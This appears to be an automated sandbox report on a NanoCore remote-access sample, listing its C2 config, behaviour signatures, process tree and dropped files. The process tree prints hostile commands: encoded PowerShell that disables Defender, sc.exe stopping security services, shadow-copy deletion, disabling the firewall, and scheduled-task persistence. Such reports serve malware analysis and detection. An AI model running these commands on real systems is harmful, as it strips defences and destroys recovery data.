Analysis

  • max time kernel
    150s
  • max time network
    143s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    03/10/2026, 09:44

General

  • Target
    truc-tiep-socolive.art_chrome.exe
  • Size 57KB
  • Sample261003-lqltsswarf
  • SHA256 d5059a8693cb87216f2a1fbeecb28fce36d14e91bc389bf47276dc17cd72d73c
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • nanocore

Version
  • 1.2.2.0

C2
  • http://truc-tiep-socolive.art

Mutex
  • ac7e2f05-8df7-4c55-8841-78385f6bb064

Attributes
  • c2_url

    http://truc-tiep-socolive.art

  • default_group

    xoilac

  • primary_dns

    ali.ns.cloudflare.com

  • secondary_dns

    woz.ns.cloudflare.com

  • version

    1.2.2.0

Signatures

  • Family: NanoCore

    NanoCore is a remote access tool (RAT) with a variety of capabilities.

  • Contains code to disable Windows Defender 1 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • Modifies Windows Defender DisableAntiSpyware settings 3 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell and hide display window.

  • Disables RegEdit via registry modification 1 IoCs
  • Disables Task Manager via registry modification
  • Drops file in Drivers directory 1 IoCs
  • Event Triggered Execution: Image File Execution Options Injection 1 TTPs 6 IoCs
  • Modifies Windows Firewall 2 TTPs 1 IoCs
  • Creates a file in the Startup directory 1 TTPs 64 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

  • Disables service(s) 3 TTPs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Stops running service(s) 4 TTPs
  • Adds Run key to start application 2 TTPs 3 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Discovers running processes 1 TTPs 1 IoCs

    Running process information can be used to identify security tools or plan follow-on actions.

  • Drops file in System32 directory 3 IoCs
  • Executes a VBScript file via the Windows Script Host. 1 TTPs 2 IoCs
  • Sets desktop wallpaper using registry 2 TTPs 2 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Executes a command shell one-liner 1 TTPs 7 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 8 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • Gathers network information 2 TTPs 2 IoCs

    Uses commandline utility to view network configuration.

  • Gathers system information 1 TTPs 1 IoCs

    Runs systeminfo.exe.

  • Interacts with shadow copies 3 TTPs 3 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Modifies Control Panel 1 IoCs
  • Modifies registry class 16 IoCs
  • Runs net.exe
  • Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 44 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

Processes

  • C:\Users\Admin\AppData\Local\Temp\truc-tiep-socolive.art_chrome.exe
    "C:\Users\Admin\AppData\Local\Temp\truc-tiep-socolive.art_chrome.exe"
    1⤵
    • Modifies Windows Defender DisableAntiSpyware settings
    • Disables RegEdit via registry modification
    • Drops file in Drivers directory
    • Event Triggered Execution: Image File Execution Options Injection
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Drops file in System32 directory
    • Sets desktop wallpaper using registry
    • Reads the TCP/IP host and domain name from the registry
    • Modifies Control Panel
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:5732
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoP -NonI -W Hidden -Exec Bypass -Enc UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBSAGUAYQBsAHQAaQBtAGUATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAUwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARABpAHMAYQBiAGwAZQBCAGUAaABhAHYAaQBvAHIATQBvAG4AaQB0AG8AcgBpAG4AZwAgACQAdAByAHUAZQA7ACAAQQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgACIAQwA6AFwAUAByAG8AZwByAGEAbQBEAGEAdABhAFwAUwB5AHMAVQBwAGQAYQB0AGUAIgAgAC0ARgBvAHIAYwBlAA==
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Enumerates connected drives
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:1092
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop wscsvc
      2⤵
      • Launches sc.exe
      PID:5816
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config wscsvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4340
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop SecurityHealthService
      2⤵
      • Launches sc.exe
      PID:568
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config SecurityHealthService start= disabled
      2⤵
      • Launches sc.exe
      PID:3380
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop WinDefend
      2⤵
      • Launches sc.exe
      PID:3520
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config WinDefend start= disabled
      2⤵
      • Launches sc.exe
      PID:468
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" stop MsMpSvc
      2⤵
      • Launches sc.exe
      PID:836
    • C:\Windows\System32\sc.exe
      "C:\Windows\System32\sc.exe" config MsMpSvc start= disabled
      2⤵
      • Launches sc.exe
      PID:4560
    • C:\Windows\System32\fodhelper.exe
      "C:\Windows\System32\fodhelper.exe"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:5152
      • C:\Users\Admin\AppData\Local\Temp\truc-tiep-socolive.art_chrome.exe
        "C:\Users\Admin\AppData\Local\Temp\truc-tiep-socolive.art_chrome.exe"
        3⤵
          PID:572
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wscsvc
        2⤵
        • Launches sc.exe
        PID:2736
      • C:\Windows\System32\sc.exe
        "C:\Windows\System32\sc.exe" stop wuauserv
        2⤵
        • Launches sc.exe
        PID:3272
      • C:\Windows\System32\vssadmin.exe
        "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
        2⤵
        • Interacts with shadow copies
        PID:1532
      • C:\Windows\System32\wbem\WMIC.exe
        "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
        2⤵
        • Reads the TCP/IP host and domain name from the registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1820
      • C:\Windows\System32\wscript.exe
        "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
        2⤵
        • Executes a VBScript file via the Windows Script Host.
        PID:1764
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\truc-tiep-socolive.art_chrome.exe" /sc onlogon /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2320
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /tn "SysUpdateBackup" /tr "C:\Users\Admin\AppData\Local\Temp\truc-tiep-socolive.art_chrome.exe" /sc minute /mo 30 /f
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1396
      • C:\Windows\system32\cmd.exe
        C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1932
        • C:\Windows\system32\vssadmin.exe
          vssadmin delete shadows /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:4284
        • C:\Windows\System32\Wbem\WMIC.exe
          wmic shadowcopy delete
          3⤵
          • Reads the TCP/IP host and domain name from the registry
          • Suspicious behavior: EnumeratesProcesses
          PID:896
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:1820
        • C:\Windows\system32\systeminfo.exe
          systeminfo
          3⤵
          • Gathers system information
          PID:5860
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5932
        • C:\Windows\system32\tasklist.exe
          tasklist
          3⤵
          • Discovers running processes
          PID:5436
      • C:\Windows\SYSTEM32\cmd.exe
        "cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"
        2⤵
        • Executes a command shell one-liner
        • Suspicious use of WriteProcessMemory
        PID:5084
        • C:\Windows\system32\whoami.exe
          whoami
          3⤵
            PID:304
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"
          2⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:3464
          • C:\Windows\system32\net.exe
            net user
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:252
            • C:\Windows\system32\net1.exe
              C:\Windows\system32\net1 user
              4⤵
                PID:2784
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:4564
            • C:\Windows\system32\ipconfig.exe
              ipconfig /all
              3⤵
              • Gathers network information
              PID:4296
          • C:\Windows\SYSTEM32\cmd.exe
            "cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"
            2⤵
            • Executes a command shell one-liner
            • Suspicious use of WriteProcessMemory
            PID:5484
            • C:\Windows\system32\NETSTAT.EXE
              netstat -an
              3⤵
              • Gathers network information
              PID:5680
          • C:\Windows\SYSTEM32\schtasks.exe
            "schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\truc-tiep-socolive.art_chrome.exe" /sc daily /f
            2⤵
            • Scheduled Task/Job: Scheduled Task
            PID:760
            • C:\Windows\System32\Conhost.exe
              \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              3⤵
                PID:4560
            • C:\Windows\System32\wscript.exe
              "C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
              2⤵
              • Executes a VBScript file via the Windows Script Host.
              PID:1752
            • C:\Windows\System32\notepad.exe
              "C:\Windows\System32\notepad.exe"
              2⤵
                PID:4484
              • C:\Windows\System32\vssadmin.exe
                "C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet
                2⤵
                • Interacts with shadow copies
                PID:2160
              • C:\Windows\System32\wbem\WMIC.exe
                "C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete
                2⤵
                • Reads the TCP/IP host and domain name from the registry
                • Suspicious behavior: EnumeratesProcesses
                PID:5464
              • C:\Windows\System32\net.exe
                "C:\Windows\System32\net.exe" stop srservice
                2⤵
                • Suspicious use of WriteProcessMemory
                PID:3936
                • C:\Windows\system32\net1.exe
                  C:\Windows\system32\net1 stop srservice
                  3⤵
                    PID:5092
                • C:\Windows\System32\netsh.exe
                  "C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off
                  2⤵
                  • Modifies Windows Firewall
                  • Event Triggered Execution: Netsh Helper DLL
                  PID:4412
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" config i8042prt start= disabled
                  2⤵
                  • Launches sc.exe
                  PID:2776
                • C:\Windows\System32\sc.exe
                  "C:\Windows\System32\sc.exe" stop i8042prt
                  2⤵
                  • Launches sc.exe
                  PID:4976
              • C:\Windows\system32\vssvc.exe
                C:\Windows\system32\vssvc.exe
                1⤵
                • Suspicious use of AdjustPrivilegeToken
                PID:2436
              • C:\Users\Admin\AppData\Local\Temp\truc-tiep-socolive.art_chrome.exe
                C:\Users\Admin\AppData\Local\Temp\truc-tiep-socolive.art_chrome.exe
                1⤵
                  PID:3864
                • C:\Users\Admin\AppData\Local\Temp\truc-tiep-socolive.art_chrome.exe
                  C:\Users\Admin\AppData\Local\Temp\truc-tiep-socolive.art_chrome.exe
                  1⤵
                    PID:5796

                  Network

                        MITRE ATT&CK Enterprise v16

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                        Downloads

                        scr_20261003_104542.jpg

                        • Path C:\ProgramData\SysUpdate\Scr\scr_20261003_104542.jpg
                        • Size 128KB
                        • SHA256 9c3a8692eb22f99d1e3a93181df23724fd6dcb6d2ce5ad5910a4d14e35c49547
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        doc_2.pdf

                        • Path C:\SystemVolumeInformation\doc_2.pdf
                        • Size 76KB
                        • SHA256 0385e2ddd55be0100ea956a2a47e6672988e037b6e1d26c09cbf917de8a07fc0
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        __PSScriptPolicyTest_puwu2ert.jo5.psm1

                        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_puwu2ert.jo5.psm1
                        • Size 60B
                        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                        • MD5 SHA1 SHA512 TLSH

                        createshortcut.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
                        • Size 254B
                        • SHA256 918fcd532a1fb425130c65309cc557e4b1771d3f0bc8c790baf79fa3ae74fa83
                        • MD5 SHA1 SHA512 TLSH

                        del.bat

                        • Path C:\Users\Admin\AppData\Local\Temp\del.bat
                        • Size 59B
                        • SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
                        • MD5 SHA1 SHA512 TLSH

                        makelnk.vbs

                        • Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
                        • Size 255B
                        • SHA256 273d35d6175085226e4cd4c6b2fcad34851d0228f9b1b865717f6000a79ae8eb
                        • MD5 SHA1 SHA512 TLSH

                        temp_steal.log

                        • Path C:\Users\Admin\AppData\Local\Temp\temp_steal.log
                        • Size 170KB
                        • SHA256 f3c2fe29c22fb3362294f185e66f186a8d5a2683f58f021ca997a3bbb216c941
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        stolen_data_here.txt

                        • Path C:\Users\Admin\Desktop\stolen_data_here.txt
                        • Size 171KB
                        • SHA256 2a2a03aac0eacfb2344e3626daf4df76cf2ad465cb428fe0161eddb28495ab8f
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        invoice_1.pdf

                        • Path C:\Users\Admin\Documents\invoice_1.pdf
                        • Size 76KB
                        • SHA256 89ac90ccbed9745ead31b71abc0df17c6d0c60a2d73e9a1c864e94e7f4a4e5f9
                        • MD5 SHA1 SHA512 SSDEEP TLSH

                        READ_ME_NANOCORE.txt

                        • Path C:\Users\Admin\READ_ME_NANOCORE.txt
                        • Size 145B
                        • SHA256 7057e5f2042a9706c5d18b7d05214373577eb0293599d361bf66cfba3a3eee4f
                        • MD5 SHA1 SHA512 TLSH

                        RANSOM_NOTE.txt

                        • Path F:\RANSOM_NOTE.txt
                        • Size 177B
                        • SHA256 bfd4ed4bcd78100294aeaee2c2b4b8e37fb372b61cdcaa2a14f50ebe4b708e93
                        • MD5 SHA1 SHA512 TLSH

                        memory/1092-16-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-165-0x000001DEB0230000-0x000001DEB02E2000-memory.dmp

                        memory/1092-18-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-20-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-21-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-23-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-22-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-25-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-26-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-27-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-28-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-29-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-2252-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-31-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-24-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-14-0x000001DEAFE70000-0x000001DEAFE92000-memory.dmp

                        memory/1092-163-0x000001DEB0210000-0x000001DEB022E000-memory.dmp

                        memory/1092-17-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/1092-217-0x000001DEB02F0000-0x000001DEB02FA000-memory.dmp

                        memory/4484-2275-0x000001B0DEFD0000-0x000001B0DEFD1000-memory.dmp

                        memory/5732-5-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-0-0x00007FFEB9D0F000-0x00007FFEB9D10000-memory.dmp

                        memory/5732-10-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-30-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-6-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-15-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-4-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-11-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-2282-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-2284-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-2286-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-3-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-2-0x00007FFEB9B80000-0x00007FFEBA524000-memory.dmp

                        memory/5732-1-0x0000000000DB0000-0x0000000000DC4000-memory.dmp